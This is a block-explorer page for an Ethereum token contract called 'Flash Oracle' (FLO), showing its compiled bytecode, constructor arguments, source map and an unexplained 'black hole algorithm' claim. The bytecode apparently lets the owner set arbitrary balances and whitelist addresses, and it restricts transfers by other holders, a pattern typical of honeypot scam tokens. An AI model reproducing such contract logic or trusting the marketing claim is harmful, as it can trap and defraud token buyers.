390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a7231582036cc614074d7f03a7247d0693752c7a40faaa3b4d2384f7188ee753056f270ca64736f6c63430005110032

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000001dcd6500000000000000000000000000000000000000000000000000000000000000000c466c617368204f7261636c6500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003464c4f0000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): Flash Oracle
Arg [1] : _symbol (string): FLO
Arg [2] : _supply (uint256): 500000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 000000000000000000000000000000000000000000000000000000001dcd6500
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000c
Arg [4] : 466c617368204f7261636c650000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [6] : 464c4f0000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

14665:3195:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17434:18;;8:9:-1;5:2;;;30:1;27;20:12;5:2;17434:18:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;17434:18:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15880:213;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;15880:213:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;17404:23;;8:9:-1;5:2;;;30:1;27;20:12;5:2;17404:23:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;15307:564;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;15307:564:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;17363:34;;8:9:-1;5:2;;;30:1;27;20:12;5:2;17363:34:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;16765:271;;8:9:-1;5:2;;;30:1;27;20:12;5:2;16765:271:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;16765:271:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;17241:42;;8:9:-1;5:2;;;30:1;27;20:12;5:2;17241:42:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;17241:42:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;17459:20;;8:9:-1;5:2;;;30:1;27;20:12;5:2;17459:20:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;17459:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14858:137;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;14858:137:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;17290:63;;8:9:-1;5:2;;;30:1;27;20:12;5:2;17290:63:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;17290:63:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;17071:161;;8:9:-1;5:2;;;30:1;27;20:12;5:2;17071:161:0;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;17071:161:0;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;17434:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;15880:213::-;15952:4;16003:6;15969:9;:21;15979:10;15969:21;;;;;;;;;;;;;;;:31;15991:8;15969:31;;;;;;;;;;;;;;;:40;;;;16046:8;16025:38;;16034:10;16025:38;;;16056:6;16025:38;;;;;;;;;;;;;;;;;;16081:4;16074:11;;15880:213;;;;:::o;17404:23::-;;;;:::o;15307:564::-;15394:4;15425:1;15415:6;:11;15411:31;;;15436:4;15429:11;;;;15411:31;15470:5;15456:19;;:10;:19;;;15452:152;;15532:6;15500:9;:16;15510:5;15500:16;;;;;;;;;;;;;;;:28;15517:10;15500:28;;;;;;;;;;;;;;;;:38;;15492:47;;;;;;15586:6;15554:9;:16;15564:5;15554:16;;;;;;;;;;;;;;;:28;15571:10;15554:28;;;;;;;;;;;;;;;;:38;;;;;;;;;;;15452:152;15622:26;15629:5;15636:3;15641:6;15622;:26::i;:::-;15614:35;;;;;;15688:6;15668:9;:16;15678:5;15668:16;;;;;;;;;;;;;;;;:26;;15660:35;;;;;;15726:6;15706:9;:16;15716:5;15706:16;;;;;;;;;;;;;;;;:26;;;;;;;;;;;15761:6;15743:9;:14;15753:3;15743:14;;;;;;;;;;;;;;;;:24;;;;;;;;;;;15778:10;:17;15789:5;15778:17;;;;;;;;;;;;;;;;:19;;;;;;;;;;;;;15829:3;15813:28;;15822:5;15813:28;;;15834:6;15813:28;;;;;;;;;;;;;;;;;;15859:4;15852:11;;15307:564;;;;;;:::o;17363:34::-;17395:2;17363:34;:::o;16765:271::-;16842:4;16881:5;;;;;;;;;;;16867:19;;:10;:19;;;16859:28;;;;;;16914:1;16901:10;:14;16898:77;;;17395:2;16951;:21;16939:10;:34;16918:9;:18;16928:7;16918:18;;;;;;;;;;;;;;;:55;;;;16898:77;17002:4;16985:7;:16;16993:7;16985:16;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;17024:4;17017:11;;16765:271;;;;:::o;17241:42::-;;;;;;;;;;;;;;;;;:::o;17459:20::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;14858:137::-;14926:4;14950:37;14963:10;14975:3;14980:6;14950:12;:37::i;:::-;14943:44;;14858:137;;;;:::o;17290:63::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;17071:161::-;17127:4;17166:5;;;;;;;;;;;17152:19;;:10;:19;;;17144:28;;;;;;17198:4;17183:12;;:19;;;;;;;;;;;;;;;;;;17220:4;17213:11;;17071:161;;;:::o;15004:291::-;15083:4;15121:5;;;;;;;;;;;15112:14;;:5;:14;;;:30;;;;15137:5;;;;;;;;;;;15130:12;;:3;:12;;;15112:30;:55;;;;15155:12;;;;;;;;;;;15146:21;;:5;:21;;;15112:55;:71;;;;15169:7;:14;15177:5;15169:14;;;;;;;;;;;;;;;;;;;;;;;;;15112:71;15109:113;;;15206:4;15199:11;;;;15109:113;15240:24;15250:5;15257:6;15240:9;:24::i;:::-;15232:33;;;;;;15283:4;15276:11;;15004:291;;;;;;:::o;16105:462::-;16174:4;16205:1;16193:8;;:13;:30;;;;;16222:1;16210:8;;:13;16193:30;:47;;;;;16239:1;16227:8;;:13;16193:47;16190:64;;;16249:5;16242:12;;;;16190:64;16289:1;16278:8;;:12;16275:89;;;16330:8;;16309:10;:17;16320:5;16309:17;;;;;;;;;;;;;;;;:29;16306:46;;16347:5;16340:12;;;;16306:46;16275:89;16388:1;16377:8;;:12;16374:77;;;16419:6;16408:8;;:17;16405:34;;;16434:5;16427:12;;;;16405:34;16374:77;16475:1;16464:8;;:12;16461:77;;;16504:8;;16495:6;:17;16492:34;;;16521:5;16514:12;;;;16492:34;16461:77;16555:4;16548:11;;16105:462;;;;;:::o

Swarm Source

bzzr://36cc614074d7f03a7247d0693752c7a40faaa3b4d2384f7188ee753056f270ca

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

OVERVIEW

Flash Oracle utilizes a black hole algorithm on the Ethereum network.

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.